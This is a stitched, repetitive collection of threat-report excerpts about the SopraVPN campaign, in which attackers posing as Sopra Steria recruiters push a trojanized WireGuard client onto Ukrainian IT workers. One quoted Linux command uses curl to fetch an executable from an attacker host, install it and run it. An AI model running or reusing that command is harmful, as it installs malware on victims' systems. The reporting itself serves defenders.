SopraVPN

Hackers linked to Russia’s military intelligence unit are posing as recruiters to trick Ukrainian IT workers into installing malicious software

additional instructions for the technical interview are sent via email, including configuration files for connecting to a 'corporate' VPN using Wireguard

UAC-0145... was approaching Ukrainian IT workers through job-search platforms. The operator studied resumes, opened contact through the platform chat, moved the conversation to Telegram, and used a Zoom interview to make the hiring process feel legitimate.

On Windows, that decrypted command can create a scheduled task and download another payload from the internet.

On Windows, the malicious command creates a scheduled task and downloads an additional payload from the Internet.

The key clue is a non-standard SymmetricKey option... the decrypted result is passed into WireGuard’s command-execution path used for options such as PostUp.

The trojanized client supports a malicious, nonstandard 'SymmetricKey' configuration option that decrypts and executes embedded PowerShell code.

Linux-варіант передбачає використання cURL для завантаження додаткового виконуваного файлу ... { command -v curl >/dev/null 2>&1 || apt install -y curl >/dev/null 2>&1; } && [ -f /usr/libexec/timesyncd-check ] || { curl -sf -o /usr/libexec/timesyncd-check http://files.sopra.local/timesyncd-check ... } && /usr/libexec/timesyncd-check

The supposed recruiter then told them to download a custom VPN app called SopraVPN, hosted on the software distribution platform SourceForge

On Windows, that decrypted command can create a scheduled task and download another payload from the internet.

On Windows, the malicious command creates a scheduled task and downloads an additional payload from the Internet.

On Windows, that decrypted command can create a scheduled task and download another payload from the internet.

On Windows, the malicious command creates a scheduled task and downloads an additional payload from the Internet.

WireGuard’s standard Base64 decoding was replaced in the trojanized version with a custom, dynamically generated Base64 alphabet, which renders key strings unreadable with standard decoders and protects the PowerShell code from analysis.

the attacker impersonated the international IT firm Sopra Steria using seemingly legitimate email addresses similar to the company’s office in Bulgaria

On Windows, the malicious command creates a scheduled task and downloads an additional payload from the Internet. On Linux, it uses cURL to retrieve another executable from attacker-controlled infrastructure through the VPN.